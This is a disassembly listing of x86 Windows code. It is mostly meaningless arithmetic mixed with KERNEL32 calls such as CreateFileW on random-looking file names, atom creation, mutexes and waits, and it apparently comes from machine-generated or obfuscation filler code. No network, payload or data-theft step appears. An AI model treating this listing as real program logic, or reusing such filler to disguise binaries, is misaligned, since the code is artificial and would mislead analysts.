lea eax, [ebp - 0xc74]
mov dword [ebp - 0x508c], eax
push 0x208e
push 0
lea ecx, [ebp - 0x5088]
push ecx
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100bb290], eax
mov edx, dword [ebp - 0x39ec]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3884]
movzx ecx, byte [ecx]
shl eax, cl
mov byte [ebp - 0x2a3], al
mov edx, dword [ebp - 0x4a80]
xor edx, dword [ebp - 0x4fb0]
mov dword [0x100b9ebc], edx
movzx eax, word [ebp - 0x14dc]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1804], ax
mov ecx, dword [0x100b99cc]
mov dl, byte [ecx]
mov byte [ebp - 0x318], dl
mov eax, dword [ebp - 0x4054]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x4430]
movzx eax, word [edx]
or ecx, eax
mov word [ebp - 0x14a8], cx
mov ecx, dword [ebp - 0x36c0]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0x1324]
sar edx, cl
mov eax, dword [0x100b9edc]
mov word [eax], dx
mov ecx, dword [ebp - 0x36d0]
movsx edx, byte [ecx]
movsx eax, byte [0x100b71f6]
add edx, eax
mov ecx, dword [ebp - 0x4214]
mov byte [ecx], dl
push 0x100bbaa8
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [ebp - 0x4bb8]
mov eax, dword [edx]
and eax, dword [ebp - 0x4c84]
mov dword [0x100b7490], eax
movsx ecx, word [0x100b7298]
movsx edx, word [ebp - 0x7d0]
xor ecx, edx
mov word [ebp - 0x5d8], cx
mov eax, dword [0x100ba814]
mov cl, byte [eax]
mov byte [ebp - 0x319], cl
mov edx, dword [ebp - 0x3794]
mov eax, dword [ebp - 0x4658]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [0x100bb2d8]
mov dword [eax], edx
movzx ecx, word [ebp - 0x514]
mov edx, dword [ebp - 0x3c44]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0x1184], cx
push 0x1b23
push 0xbc2
push 0xc0c
push 0x827
mov ecx, dword [0x100b97fc]
push ecx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [ebp - 0x3890], eax
mov edx, dword [ebp - 0x3c5c]
mov ecx, dword [ebp - 0x315c]
sar edx, cl
mov eax, dword [ebp - 0x36f8]
mov dword [eax], edx
lea ecx, [ebp - 0x1278]
mov dword [0x100bbacc], ecx
lea edx, [ebp - 0x3134]
mov dword [ebp - 0x5090], edx
lea eax, [ebp - 0xc2]
mov dword [ebp - 0x5094], eax
lea ecx, [ebp - 0x1c9]
mov dword [0x100bbad0], ecx
movsx edx, byte [ebp - 0x2ef]
mov eax, dword [ebp - 0x4ca0]
movsx ecx, byte [eax]
or edx, ecx
mov eax, dword [ebp - 0x39b0]
mov byte [eax], dl
mov ecx, dword [ebp - 0x3928]
mov edx, dword [ebp - 0x46c4]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x31c8], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x5098], eax
movzx ecx, byte [ebp - 0x2f6]
mov edx, dword [ebp - 0x3704]
movzx eax, byte [edx]
xor ecx, eax
mov edx, dword [0x100b9660]
mov byte [edx], cl
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100bbad4], eax
mov dword [ebp - 0x509c], 0x100bb454
movzx eax, word [ebp - 0x139c]
mov ecx, dword [ebp - 0x41a4]
movzx edx, word [ecx]
xor eax, edx
mov word [ebp - 0xf08], ax
mov eax, dword [ebp - 0x4bc0]
sub eax, dword [ebp - 0x2dbc]
mov dword [0x100b7494], eax
push 0x1c3a
push 0
push 0x100bb470
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x50a0], eax
lea ecx, [ebp - 0x113]
mov dword [ebp - 0x50a4], ecx
push 0x2256
mov edx, dword [0x100bb2c4]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x3864], eax
push 2
lea eax, [ebp - 0x981c]
push eax
mov ecx, dword [0x100bbae4]
push ecx
mov edx, dword [0x100bbae0]
push edx
mov eax, dword [ebp - 0x4030]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100bbad8], eax
push 0
push 0x80
push 2
push 0
push 1
push 0x80000000
push str.Qy3QfnqLkJ0Ez
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x50a8], eax
mov edx, dword [ebp - 0x3c5c]
mov ecx, dword [ebp - 0x4814]
shl edx, cl
mov dword [ebp - 0x2ad4], edx
mov eax, dword [ebp - 0x4adc]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x4028]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [0x100ba380]
mov byte [edx], cl
mov eax, dword [ebp - 0x4860]
movzx edx, word [eax]
movzx ecx, word [ebp - 0x1784]
sar edx, cl
mov word [ebp - 0x6a0], dx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba270], eax
lea eax, [ebp - 0x11e4]
mov dword [ebp - 0x50ac], eax
mov ecx, dword [0x100b9c78]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x4f88]
movsx ecx, byte [eax]
and edx, ecx
mov byte [0x100b7e3b], dl
mov edx, dword [0x100b9544]
movzx eax, word [edx]
imul ecx, eax, 0x807
mov word [ebp - 0x8e4], cx
mov edx, dword [ebp - 0x3b24]
mov eax, dword [edx]
mov dword [ebp - 0x50b0], eax
push 0
push 0x27c
push 0x305e
push 0x944
push 2
mov ecx, dword [0x100ba660]
push ecx
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [ebp - 0x50b4], eax
lea edx, [ebp - 0x3d54]
mov dword [0x100bbadc], edx
push str.y.E8PUXRsy_ToT6_EK
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bbae8], ax
mov eax, dword [ebp - 0x386c]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x265]
or ecx, edx
mov byte [ebp - 0x2ce], cl
mov eax, dword [ebp - 0x4078]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x6c0]
xor ecx, edx
mov word [ebp - 0x12cc], cx
lea eax, [ebp - 0xb368]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x4964], eax
mov ecx, dword [ebp - 0x41b8]
movsx edx, byte [ecx]
mov eax, dword [0x100b959c]
movsx ecx, byte [eax]
add edx, ecx
mov eax, dword [0x100bae18]
mov byte [eax], dl
lea ecx, [ebp - 0x15f4]
mov dword [ebp - 0x50b8], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9eac], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x50bc], eax
mov edx, dword [ebp - 0x3ee8]
mov ecx, dword [ebp - 0x2b48]
shl edx, cl
mov eax, dword [ebp - 0x3fd8]
mov dword [eax], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bbaec], eax
mov dword [0x100bbaf0], 0x100b725c
mov dword [ebp - 0x50c0], 0x100b7216
mov ecx, dword [ebp - 0x4a64]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0xef]
and edx, eax
mov ecx, dword [ebp - 0x4ddc]
mov byte [ecx], dl
push 0
push 2
push 1
push 0
push 1
push 0x40000000
push str.75WXF6pLIKTBvYB
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bbaf4], eax
push str.AQMNAs_76
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1808], ax
lea edx, [ebp - 0x698]
mov dword [0x100bbaf8], edx
mov dword [ebp - 0x50c4], 0x100b728c
mov eax, dword [ebp - 0x3d54]
mov dword [ebp - 0x50c8], eax
mov ecx, dword [ebp - 0x40bc]
push ecx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x100bb1c0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edx, dword [ebp - 0x3f8c]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0xbc]
sar eax, cl
mov ecx, dword [0x100bb9dc]
mov byte [ecx], al
push 0x100b9a58
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x50cc], eax
push 0x142
mov edx, dword [ebp - 0x3344]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100bbafc], eax
mov eax, dword [0x100ba424]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x3c84]
movzx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 0x26f], cl
mov dword [ebp - 0x50d0], 0x100b9540
movzx ecx, word [ebp - 0x13ac]
mov edx, dword [ebp - 0x4a4c]
movzx eax, word [edx]
add ecx, eax
mov word [0x100b7228], cx
push 1
lea ecx, [ebp - 0x98cc]
push ecx
mov edx, dword [0x100bbb04]
push edx
mov eax, dword [0x100bbb00]
push eax
mov ecx, dword [0x100bb8e0]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x3a00], eax
mov edx, dword [0x100b99ac]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x1340]
or eax, ecx
mov word [ebp - 0x670], ax
mov edx, dword [ebp - 0x4bf8]
and edx, dword [ebp - 0x2de0]
mov eax, dword [ebp - 0x4d58]
mov dword [eax], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9640], eax
push str.Gz_YT
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x180c], ax
mov cl, byte [ebp - 0x1d5]
mov byte [0x100b85d6], cl
lea edx, [ebp - 0x66]
mov dword [ebp - 0x50d4], edx
mov dword [ebp - 0x50d8], 0x100b735c
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bbb08], eax
mov eax, dword [ebp - 0x44a0]
movzx ecx, word [eax]
imul edx, ecx, 0xb7d
mov word [0x100b72dc], dx
mov eax, dword [ebp - 0x2f90]
sub eax, dword [ebp - 0x4714]
mov dword [ebp - 0x3c38], eax
mov ecx, dword [ebp - 0x3c4c]
movsx edx, word [ecx]
mov eax, dword [0x100b96a8]
movsx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x10fc], dx
mov dword [0x100bbb0c], 0x100ba23c
lea ecx, [ebp - 0xb4ac]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [ebp - 0x3f28]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x302]
sar eax, cl
mov byte [ebp - 0x25c], al
movzx ecx, word [0x100ba47c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x16d0], ax
mov edx, dword [ebp - 0x5044]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x39e0]
movzx edx, byte [ecx]
xor eax, edx
mov ecx, dword [0x100bb568]
mov byte [ecx], al
mov dx, word [ebp - 0x10c0]
mov word [ebp - 0x1810], dx
mov eax, dword [ebp - 0x3f08]
add eax, dword [ebp - 0x2e00]
mov ecx, dword [ebp - 0x49a0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3d98]
mov eax, dword [edx]
mov dword [0x100bbb10], eax
movsx ecx, word [0x100b72a0]
movsx edx, word [0x100b7214]
and ecx, edx
mov eax, dword [ebp - 0x415c]
mov word [eax], cx
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x50dc], ecx
lea edx, [ebp - 0x1e8]
mov dword [0x100bbb14], edx
lea eax, [ebp - 0x134]
mov dword [ebp - 0x50e0], eax
mov ecx, dword [ebp - 0x4e28]
mov edx, dword [ecx]
imul edx, dword [ebp - 0x426c]
mov dword [ebp - 0x2f1c], edx
movzx eax, word [ebp - 0x1004]
movzx ecx, word [ebp - 0x1478]
or eax, ecx
mov edx, dword [0x100b9830]
mov word [edx], ax
mov eax, dword [0x100bbaf8]
movsx edx, word [eax]
mov eax, dword [ebp - 0x4978]
movsx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x628], dx
mov ecx, dword [ebp - 0x4a90]
mov edx, dword [0x100ba50c]
mov ecx, dword [ecx]
shr edx, cl
mov eax, dword [ebp - 0x4120]
mov dword [eax], edx
mov ecx, dword [0x100ba5b4]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x4854]
movzx ecx, byte [eax]
add edx, ecx
mov byte [0x100b731f], dl
mov edx, dword [0x100ba364]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x3b00]
movsx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x194], al
lea eax, [ebp - 0x2ea0]
mov dword [ebp - 0x50e4], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x50e8], eax
mov ecx, dword [ebp - 0x4e40]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x504]
xor edx, eax
mov ecx, dword [0x100bae1c]
mov word [ecx], dx
movsx edx, word [ebp - 0x7c4]
mov eax, dword [0x100bb2b0]
movsx ecx, word [eax]
xor edx, ecx
mov eax, dword [ebp - 0x3ed8]
mov word [eax], dx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bbb18], eax
lea ecx, [ebp - 0x9da8]
push ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0x100bb09c
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dx, word [ebp - 0x1644]
mov word [ebp - 0x1814], dx
lea eax, [ebp - 0x192]
mov dword [0x100bbb1c], eax
lea ecx, [ebp - 0x46dc]
mov dword [ebp - 0x50ec], ecx
mov edx, dword [ebp - 0x2d94]
add edx, dword [0x100b97f8]
mov eax, dword [ebp - 0x366c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x43f4]
movsx edx, byte [ecx]
movsx eax, byte [0x100b837b]
sub edx, eax
mov ecx, dword [0x100b987c]
mov byte [ecx], dl
mov edx, dword [ebp - 0x40d0]
movzx eax, word [edx]
mov ecx, dword [0x100bb120]
movzx edx, word [ecx]
or eax, edx
mov ecx, dword [ebp - 0x3650]
mov word [ecx], ax
mov edx, dword [ebp - 0x4d30]
movsx eax, word [edx]
movsx ecx, word [0x100b9f50]
shl eax, cl
mov word [ebp - 0x4cc], ax
movsx edx, byte [ebp - 0x28e]
mov eax, dword [0x100baf90]
movsx ecx, byte [eax]
sar edx, cl
mov byte [0x100b7273], dl
movzx ecx, byte [ebp - 0x3d]
mov edx, dword [0x100bb294]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x26b], cl
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bbb20], eax
movzx ecx, word [ebp - 0x1170]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bb744], ax
mov edx, dword [ebp - 0x496c]
imul edx, dword [ebp - 0x2af4]
mov dword [ebp - 0x2c88], edx
mov eax, dword [ebp - 0x315c]
xor eax, dword [0x100ba1a8]
mov dword [0x100b7498], eax
mov ecx, dword [ebp - 0x500c]
movsx edx, byte [ecx]
mov eax, dword [0x100ba198]
movsx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x46cc]
mov byte [eax], dl
mov ecx, dword [ebp - 0x4194]
mov dx, word [ecx]
mov word [ebp - 0x1818], dx
movsx eax, word [ebp - 0xb9c]
mov ecx, dword [ebp - 0x3fec]
movsx edx, word [ecx]
and eax, edx
mov ecx, dword [0x100b9bac]
mov word [ecx], ax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x50f0], eax
mov edx, dword [ebp - 0x4adc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x409c]
movzx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0x3e], al
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bbb24], eax
mov edx, dword [ebp - 0x50e4]
mov eax, dword [ebp - 0x2b4c]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x3088], eax
lea ecx, [ebp - 0xd28]
mov dword [0x100bbb28], ecx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x50f4], eax
movzx edx, word [ebp - 0x143c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bbb2c], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bac6c], eax
lea eax, [ebp - 0x3db4]
mov dword [ebp - 0x50f8], eax
mov ecx, dword [ebp - 0x4768]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x43c8]
movsx ecx, byte [eax]
or edx, ecx
mov eax, dword [ebp - 0x4ef0]
mov byte [eax], dl
mov ecx, dword [0x100b9780]
mov dx, word [ecx]
mov word [0x100bbb30], dx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3764], eax
lea eax, [ebp - 0x2ba]
mov dword [ebp - 0x50fc], eax
mov ecx, dword [ebp - 0x4f04]
imul edx, dword [ecx], 0x895
mov dword [ebp - 0x4fcc], edx
push 0x100b9f38
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [0x100b9d2c]
movsx ecx, byte [eax]
mov edx, dword [0x100ba114]
movsx eax, byte [edx]
xor ecx, eax
mov byte [0x100b82e7], cl
lea ecx, [ebp - 0x1818]
mov dword [ebp - 0x5100], ecx
movzx edx, word [ebp - 0x16c4]
mov eax, dword [ebp - 0x4a34]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x514], dx
mov edx, dword [ebp - 0x2be8]
and edx, dword [ebp - 0x2cb0]
mov eax, dword [0x100ba5d0]
mov dword [eax], edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x5104], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3894], eax
movsx edx, word [ebp - 0x6f8]
movsx ecx, word [ebp - 0x9c0]
sar edx, cl
mov word [ebp - 0x5c0], dx
mov al, byte [0x100b824b]
mov byte [ebp - 0x31a], al
lea ecx, [ebp - 0x4ed4]
mov dword [0x100bbb34], ecx
mov edx, dword [ebp - 0x3984]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x37b8]
movsx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 0x2e3], al
mov eax, dword [ebp - 0x4b70]
mov cx, word [eax]
mov word [ebp - 0x181c], cx
mov edx, dword [0x100ba6e4]
mov ax, word [edx]
mov word [0x100bbb38], ax
lea ecx, [ebp - 0xc9]
mov dword [ebp - 0x5108], ecx
mov edx, dword [ebp - 0x36b8]
sub edx, dword [ebp - 0x2cb0]
mov dword [0x100b7290], edx
push 0x100bbb3c
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bb41c], eax
lea eax, [ebp - 0xb4d0]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx edx, word [ebp - 0x1720]
movsx ecx, word [ebp - 0x1630]
shl edx, cl
mov word [ebp - 0xe20], dx
push 0
push 4
push 1
push 0
push 2
push 0x40000000
push str.QBi_bcHb5AWig
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bbb54], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x510c], eax
movzx eax, byte [ebp - 0x276]
mov ecx, dword [ebp - 0x4f18]
movzx edx, byte [ecx]
or eax, edx
mov ecx, dword [ebp - 0x3658]
mov byte [ecx], al
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3fac], eax
mov edx, dword [ebp - 0x2dd4]
add edx, dword [ebp - 0x4948]
mov eax, dword [0x100babe8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x40c8]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x59c]
and edx, eax
mov word [ebp - 0xb6c], dx
mov ecx, dword [ebp - 0x3b58]
mov edx, dword [ebp - 0x4a2c]
mov eax, dword [ecx]
mov ecx, dword [edx]
sar eax, cl
mov dword [ebp - 0x2cfc], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9f74], eax
mov ecx, dword [ebp - 0x365c]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x4bd8]
movsx ecx, word [eax]
xor edx, ecx
mov word [0x100b749c], dx
mov edx, dword [0x100ba5d0]
mov eax, dword [edx]
xor edx, edx
div dword [ebp - 0x3270]
mov dword [ebp - 0x2acc], eax
movzx eax, byte [ebp - 0xe]
mov ecx, dword [ebp - 0x419c]
movzx ecx, byte [ecx]
shl eax, cl
mov byte [ebp - 0x48], al
push str.fan_FJ4P8_OVqgxDr
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1820], ax
movsx edx, byte [ebp - 0x278]
movsx eax, byte [0x100b7263]
add edx, eax
mov ecx, dword [0x100bab74]
mov byte [ecx], dl
mov edx, dword [ebp - 0x41b8]
mov al, byte [edx]
mov byte [ebp - 0x31b], al
mov ecx, dword [ebp - 0x301c]
and ecx, dword [0x100ba670]
mov dword [ebp - 0x4484], ecx
push 0
push 0x10
push 5
push 0
push 4
push 0x40000000
push str.5bG0GoO0TqOTkFQR0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bbb58], eax
push 0
lea edx, [ebp - 0x98c4]
push edx
mov eax, dword [0x100bbb64]
push eax
mov ecx, dword [0x100bbb60]
push ecx
mov edx, dword [0x100b9720]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x49cc], eax
movzx eax, byte [ebp - 0x292]
movzx ecx, byte [ebp - 0x28a]
or eax, ecx
mov byte [0x100b7322], al
mov edx, dword [ebp - 0x3aa4]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9640], eax
mov dword [ebp - 0x5110], 0x100bb538
lea eax, [ebp - 0xa048]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx ecx, word [ebp - 0x1100]
imul edx, ecx, 0x997
mov word [ebp - 0x130c], dx
mov eax, dword [ebp - 0x4604]
mov ecx, dword [eax]
mov dword [0x100bbb5c], ecx
lea edx, [ebp - 0x2b4]
mov dword [ebp - 0x5114], edx
mov eax, dword [ebp - 0x37d0]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x469c]
mov edx, dword [ebp - 0x4748]
mov dword [edx], ecx
movzx eax, byte [0x100b7296]
mov ecx, dword [ebp - 0x4a6c]
movzx ecx, byte [ecx]
sar eax, cl
mov byte [0x100b8232], al
lea edx, [ebp - 0x14b4]
mov dword [ebp - 0x5118], edx
movsx eax, word [0x100b7464]
movsx ecx, word [ebp - 0x784]
add eax, ecx
mov word [ebp - 0x1688], ax
movsx edx, byte [ebp - 0x11f]
movsx eax, byte [0x100b721f]
and edx, eax
mov byte [0x100b7323], dl
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bbb68], eax
mov ecx, dword [ebp - 0x3f78]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x41bc]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0x1008], dx
mov edx, dword [0x100b9b10]
mov eax, dword [ebp - 0x3134]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x4720]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4548]
mov eax, dword [ebp - 0x4464]
mov ecx, dword [edx]
or ecx, dword [eax]
mov dword [0x100b97f8], ecx
mov dword [ebp - 0x511c], 0x100b7dff
lea edx, [ebp - 0xe7c]
mov dword [ebp - 0x5120], edx
movsx eax, byte [0x100b801a]
movsx ecx, byte [ebp - 0x107]
sar eax, cl
mov byte [0x100b7323], al
mov ecx, dword [ebp - 0x40ac]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x35ec]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x492c]
mov word [eax], dx
mov ecx, dword [0x100b98e0]
mov edx, dword [ecx]
and edx, dword [ebp - 0x2f40]
mov dword [ebp - 0x3f60], edx
mov dword [0x100bbb6c], 0x100b720c
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bb0f0], eax
push 0
push 8
push 0
push 0
push 2
push 0x40000000
push str.BDauqeOIRggG
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x5124], eax
mov eax, dword [ebp - 0x4afc]
mov cl, byte [eax]
mov byte [ebp - 0x31c], cl
lea edx, [ebp - 0x282]
mov dword [ebp - 0x5128], edx
movsx eax, word [0x100b72c4]
movsx ecx, word [0x100ba3e8]
xor eax, ecx
mov edx, dword [0x100ba788]
mov word [edx], ax
push 0x1452
push 0
lea eax, [ebp - 0x4c34]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100bbb70], eax
mov ecx, dword [ebp - 0x4c14]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x4b70]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x35fc]
mov word [ecx], dx
mov edx, dword [ebp - 0x3d1c]
xor edx, dword [ebp - 0x2c48]
mov dword [ebp - 0x2bdc], edx
mov eax, dword [0x100bb0f8]
mov cl, byte [eax]
mov byte [0x100b85d7], cl
movzx edx, byte [ebp - 0x132]
mov eax, dword [ebp - 0x4adc]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x334c]
mov byte [eax], dl
lea ecx, [ebp - 0x3268]
mov dword [ebp - 0x512c], ecx
lea edx, [ebp - 0x1294]
mov dword [0x100bbb74], edx
mov eax, dword [ebp - 0x362c]
movsx edx, word [eax]
mov eax, dword [ebp - 0x37f8]
movsx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x970], dx
push 0x1ca0
mov ecx, dword [ebp - 0x43e8]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100bb140], eax
mov edx, dword [ebp - 0x3758]
mov eax, dword [ebp - 0x4754]
mov ecx, dword [edx]
or ecx, dword [eax]
mov dword [ebp - 0x2e04], ecx
push 0
push 0x80
push 4
push 0
push 8
push 0x80000000
push str.gWmAocWvpznDm
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x5130], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bbb78], eax
movsx edx, byte [ebp - 0x177]
mov eax, dword [0x100babc4]
movsx ecx, byte [eax]
and edx, ecx
mov eax, dword [0x100bb91c]
mov byte [eax], dl
mov cl, byte [ebp - 0x15d]
mov byte [ebp - 0x31d], cl
movzx edx, word [ebp - 0x159c]
mov eax, dword [ebp - 0x4d28]
movzx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0x166c], dx
movzx eax, word [ebp - 0x14a8]
mov edx, dword [ebp - 0x4f74]
movzx ecx, word [edx]
cdq
idiv ecx
mov edx, dword [0x100bab68]
mov word [edx], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x45b8], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba5c8], eax
mov eax, dword [0x100bb964]
mov ecx, dword [eax]
mov dword [ebp - 0x5134], ecx
lea edx, [ebp - 0x1384]
mov dword [ebp - 0x5138], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bbb7c], eax
mov eax, dword [ebp - 0x450c]
mov ecx, dword [eax]
mov dword [0x100bbb80], ecx
mov edx, dword [ebp - 0x4a08]
movsx eax, byte [edx]
mov ecx, dword [0x100babc4]
movsx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x3f88]
mov byte [ecx], al
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x513c], eax
mov edx, dword [ebp - 0x390c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3884]
movzx ecx, byte [ecx]
shl eax, cl
mov byte [0x100b7efb], al
lea edx, [ebp - 0xae58]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x39f8]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x4e78]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0xaa8], cx
mov edx, dword [0x100b734c]
mov ecx, dword [ebp - 0x2b8c]
sar edx, cl
mov dword [ebp - 0x3d1c], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bbb84], eax
mov eax, dword [0x100ba3b8]
mov ecx, dword [ebp - 0x4318]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [0x100b74a0], edx
lea eax, [ebp - 0x6bc]
mov dword [ebp - 0x5140], eax
lea ecx, [ebp - 0xb4f4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [0x100b9818]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x4dd0]
movsx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x88], al
mov eax, dword [0x100bb9a4]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x29f]
xor ecx, edx
mov eax, dword [0x100ba2cc]
mov byte [eax], cl
